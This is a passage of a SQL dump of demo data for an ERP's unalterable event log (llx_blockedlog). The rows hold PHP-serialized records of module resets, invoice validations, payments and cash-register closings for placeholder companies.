Zeceo\";s:7:\"capital\";s:5:\"10000\";s:12:\"country_code\";s:2:\"IN\";}s:2:\"id\";i:1;s:7:\"element\";s:6:\"module\";s:3:\"ref\";s:11:\"systemevent\";s:6:\"entity\";i:1;s:4:\"date\";i:1644244370;}',12,1,0,'2022-02-07 14:32:50','Alice Adminson',''); +INSERT INTO `llx_blockedlog` VALUES (20,'2018-03-16 09:57:22','MODULE_RESET',0.00000000,'d6dd5fe6c2eec2de6368f3b6da30188566f0a1a7be4b1589ccd8352d2c827ad5','fbc11d0396d9b76ea48f892bd5f0fe652e5bdf7d44873acb4bf1e1b70352bd30','module',1,'systemevent','2018-03-16 13:57:22','O:8:\"stdClass\":6:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:10:\"name_alias\";N;s:7:\"address\";s:24:\"21 Jump street..ll..ee \"\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";N;s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:1:\"1\";s:7:\"idprof3\";s:1:\"1\";s:7:\"idprof4\";s:1:\"1\";s:7:\"idprof5\";s:1:\"1\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:9:\"FR1234567\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";s:4:\"name\";s:12:\"MyBigCompany\";}s:2:\"id\";i:1;s:7:\"element\";s:6:\"module\";s:3:\"ref\";s:11:\"systemevent\";s:6:\"entity\";i:1;s:4:\"date\";i:1521194242;}',12,1,0,'2018-03-16 13:57:22','Alice Adminson',''),(21,'2018-03-16 09:57:24','MODULE_SET',0.00000000,'d6b66df837d8d33bd8b9744e2afa46ab8c65ae8ca462246c406de19f8254e146','0a3aae975056417705f4eb7b4a4926384075cc2b6c899603715643c8f1d6ff9b','module',1,'systemevent','2018-03-16 13:57:24','O:8:\"stdClass\":6:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:10:\"name_alias\";N;s:7:\"address\";s:24:\"21 Jump street..ll..ee \"\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";N;s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:1:\"1\";s:7:\"idprof3\";s:1:\"1\";s:7:\"idprof4\";s:1:\"1\";s:7:\"idprof5\";s:1:\"1\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:9:\"FR1234567\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";s:4:\"name\";s:12:\"MyBigCompany\";}s:2:\"id\";i:1;s:7:\"element\";s:6:\"module\";s:3:\"ref\";s:11:\"systemevent\";s:6:\"entity\";i:1;s:4:\"date\";i:1521194244;}',12,1,0,'2018-03-16 13:57:24','Alice Adminson',''),(22,'2018-03-16 09:59:31','PAYMENT_CUSTOMER_CREATE',10.00000000,'9beb9e3ba04582d441b49f176f995900c16572c789bcf48a1c9f285a74be76c8','86813eb2563252c0e270baaf1fffade82475fe51af5f88d14613005fd0e07783','payment',38,'PAY1803-0004','2018-03-16 12:00:00','O:8:\"stdClass\":8:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:10:\"name_alias\";N;s:7:\"address\";s:24:\"21 Jump street..ll..ee \"\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";N;s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:1:\"1\";s:7:\"idprof3\";s:1:\"1\";s:7:\"idprof4\";s:1:\"1\";s:7:\"idprof5\";s:1:\"1\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:9:\"FR1234567\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";s:4:\"name\";s:12:\"MyBigCompany\";}s:3:\"ref\";s:12:\"PAY1803-0004\";s:4:\"date\";i:1521187200;s:9:\"type_code\";s:3:\"CHQ\";s:11:\"payment_num\";N;s:4:\"note\";s:0:\"\";s:12:\"payment_part\";a:1:{i:1;O:8:\"stdClass\":3:{s:6:\"amount\";s:2:\"10\";s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:13:\"1 alalah road\";s:3:\"zip\";N;s:4:\"town\";s:5:\"Delhi\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";N;s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";s:4:\"name\";s:10:\"Indian SAS\";}s:7:\"invoice\";O:8:\"stdClass\":9:{s:4:\"date\";i:1453147200;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"0\";s:8:\"total_ht\";s:11:\"20.00000000\";s:9:\"total_tva\";s:10:\"1.80000000\";s:9:\"total_ttc\";s:11:\"23.60000000\";s:12:\"revenuestamp\";s:10:\"0.00000000\";s:3:\"ref\";s:11:\"FA1601-0024\";s:11:\"note_public\";N;}}}s:6:\"amount\";i:10;}',12,1,0,'2018-03-16 13:59:31','Alice Adminson',''),(23,'2019-09-26 15:33:37','BILL_VALIDATE',43.58000000,'6a1e049c00f51afa6eaca799e6281bd8abfdaa12bdf42ee2a002b0bec588a2a5','451b12ea66d25259c9c1df9993a902affe124c9f27c97093613cf7184fe388aa','facture',218,'FA1909-0025','2019-09-26 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"Dupont Alain\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:0:\"\";s:3:\"zip\";N;s:4:\"town\";N;s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";s:18:\"pcurie@example.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1601-0019\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:0:\"\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:24:\"21 Jump street..ll..ee \"\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";N;s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1569448800;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"0\";s:8:\"total_ht\";d:42.5;s:9:\"total_tva\";d:1.08;s:9:\"total_ttc\";d:43.58;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:5:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";s:9:\"DOLICLOUD\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:10:\"9.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:10:\"9.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"1\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:10:\"9.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:10:\"9.00000000\";s:9:\"info_bits\";s:1:\"0\";}i:2;O:8:\"stdClass\":17:{s:3:\"ref\";s:9:\"DOLIDROID\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:10:\"5.50000000\";s:23:\"multicurrency_total_tva\";s:10:\"1.08000000\";s:23:\"multicurrency_total_ttc\";s:10:\"6.58000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:6:\"19.600\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:10:\"5.50000000\";s:9:\"total_tva\";s:10:\"1.08000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:10:\"6.58000000\";s:9:\"info_bits\";s:1:\"0\";}i:3;O:8:\"stdClass\":17:{s:3:\"ref\";s:9:\"DOLICLOUD\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:10:\"9.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:10:\"9.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"1\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:10:\"9.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:10:\"9.00000000\";s:9:\"info_bits\";s:1:\"0\";}i:4;O:8:\"stdClass\":17:{s:3:\"ref\";s:9:\"DOLICLOUD\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:10:\"9.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:10:\"9.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"1\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:10:\"9.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:10:\"9.00000000\";s:9:\"info_bits\";s:1:\"0\";}i:5;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"10.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"10.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"10.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"10.00000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"FA1909-0025\";s:11:\"note_public\";N;}',12,1,0,'2019-09-26 17:33:37','Alice Adminson',''),(24,'2019-10-04 08:27:00','BILL_VALIDATE',5.63000000,'aa16d46e6ea7376fe0f91a4aeb7b1d534ed351fae071ded64c393e61269c4c35','316e03ffb8327d837c8601e7dbafc91509581b0be9449a89827a14e6cfa2688a','facture',150,'FA6801-0010','2018-01-19 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:10:\"Indian SAS\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:13:\"1 alalah road\";s:3:\"zip\";N;s:4:\"town\";s:5:\"Delhi\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";N;s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:24:\"21 Jump street..ll..ee \"\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";N;s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1516316400;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"0\";s:8:\"total_ht\";d:5;s:9:\"total_tva\";d:0.63;s:9:\"total_ttc\";d:5.63;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";s:7:\"PEARPIE\";s:18:\"multicurrency_code\";N;s:22:\"multicurrency_total_ht\";s:10:\"5.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.63000000\";s:23:\"multicurrency_total_ttc\";s:10:\"5.63000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:6:\"12.500\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:10:\"5.00000000\";s:9:\"total_tva\";s:10:\"0.63000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:10:\"5.63000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"FA6801-0010\";s:11:\"note_public\";N;}',12,1,0,'2019-10-04 10:27:00','Alice Adminson',''),(25,'2019-10-04 08:28:14','PAYMENT_CUSTOMER_CREATE',5.63000000,'fa5c9b4bb975af8401744390d47e62218a7ec47a2e96c60f5e58d7f6be38dc44','9bfe069dc130dd71c31f914ff0afa7835fd40932790ac88be0005638342ccb87','payment',39,'PAY1801-0005','2018-01-19 12:00:00','O:8:\"stdClass\":8:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:24:\"21 Jump street..ll..ee \"\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";N;s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:12:\"PAY1801-0005\";s:4:\"date\";i:1516359600;s:9:\"type_code\";s:3:\"LIQ\";s:11:\"payment_num\";N;s:4:\"note\";s:0:\"\";s:12:\"payment_part\";a:1:{i:1;O:8:\"stdClass\":3:{s:6:\"amount\";s:4:\"5.63\";s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:10:\"Indian SAS\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:13:\"1 alalah road\";s:3:\"zip\";N;s:4:\"town\";s:5:\"Delhi\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";N;s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:7:\"invoice\";O:8:\"stdClass\":9:{s:4:\"date\";i:1516316400;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"0\";s:8:\"total_ht\";s:10:\"5.00000000\";s:9:\"total_tva\";s:10:\"0.63000000\";s:9:\"total_ttc\";s:10:\"5.63000000\";s:12:\"revenuestamp\";s:10:\"0.00000000\";s:3:\"ref\";s:11:\"FA6801-0010\";s:11:\"note_public\";N;}}}s:6:\"amount\";d:5.63;}',12,1,0,'2019-10-04 10:28:14','Alice Adminson',''),(26,'2019-12-22 19:01:48','CASHCONTROL_VALIDATE',400.00000000,'bb14150a5ea65d97f9d22f6bc3d3d357ccfb2aa681f2ecbcc81a9d870260c58c','7b03131558731b2e7b4000189214b132f4323621c596d4418cfeba233a085e83','cashcontrol',1,'1','2019-12-22 23:01:02','O:8:\"stdClass\":37:{s:9:\"mycompany\";O:8:\"stdClass\":26:{s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:0;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:0;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;}s:7:\"element\";s:11:\"cashcontrol\";s:2:\"id\";i:1;s:7:\"opening\";d:-324.29;s:6:\"status\";i:1;s:10:\"year_close\";i:2019;s:11:\"month_close\";i:11;s:9:\"day_close\";N;s:9:\"posmodule\";s:7:\"takepos\";s:9:\"posnumber\";s:1:\"1\";s:4:\"cash\";d:400;s:6:\"cheque\";d:0;s:4:\"card\";d:0;s:10:\"date_valid\";i:1577041308;s:13:\"date_creation\";i:1577041262;s:17:\"date_modification\";N;s:10:\"import_key\";N;s:13:\"array_options\";a:0:{}s:6:\"canvas\";N;s:7:\"project\";N;s:10:\"fk_project\";N;s:10:\"thirdparty\";N;s:4:\"user\";N;s:3:\"ref\";s:1:\"1\";s:7:\"ref_ext\";N;s:6:\"statut\";N;s:10:\"fk_account\";N;s:11:\"note_public\";N;s:12:\"note_private\";N;s:4:\"note\";N;s:8:\"comments\";a:0:{}s:15:\"date_validation\";N;s:16:\"next_prev_filter\";N;s:6:\"entity\";i:1;s:5:\"label\";N;s:3:\"tms\";i:1577030462;s:13:\"fk_user_valid\";s:2:\"12\";}',12,1,0,'2019-12-22 23:01:48','Alice Adminson',''),(34,'2020-01-10 00:42:47','PAYMENT_VARIOUS_CREATE',10.00000000,'e20ec32652d7564cdca915e95528b68bd3b770b82defe64ead1af3f6dc6bc150','25514deeca716e41c02699d9466fc640f4b7da0a0c953637b542c555f9634f9b','payment_various',4,'4','2020-01-10 12:00:00','O:8:\"stdClass\":7:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";i:4;s:4:\"date\";i:1578643200;s:9:\"type_code\";s:3:\"VIR\";s:11:\"payment_num\";s:0:\"\";s:4:\"note\";s:0:\"\";s:6:\"amount\";i:10;}',12,1,0,'2020-01-10 04:42:47','Alice Adminson',''),(35,'2020-01-10 01:08:37','PAYMENT_VARIOUS_MODIFY',10.00000000,'94bd3491e8e553e6e633cd4a40c8c0ef3a6af0bd60df1d8e768d3c8c2a37b79b','eeadf2ffc7bd611e3b739e8825307f9e9cb2d9dddbd9e16b1f092fa5d881a5ca','payment_various',4,'4','2020-01-10 00:00:00','O:8:\"stdClass\":7:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:1:\"4\";s:4:\"date\";i:1578600000;s:9:\"type_code\";s:3:\"VIR\";s:11:\"payment_num\";s:0:\"\";s:4:\"note\";s:0:\"\";s:6:\"amount\";d:10;}',12,1,0,'2020-01-10 05:08:37','Alice Adminson',''),(36,'2020-01-10 01:08:43','PAYMENT_VARIOUS_MODIFY',10.00000000,'02ecc274221832fcbf8f525ed64f1391415a29dded01022a5a4c51cfb2c5ad49','c274f2f609af56bd40b74000eaa2f6866a734feb0fc262ce3431ac9f91a754e2','payment_various',4,'4','2020-01-10 00:00:00','O:8:\"stdClass\":7:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump 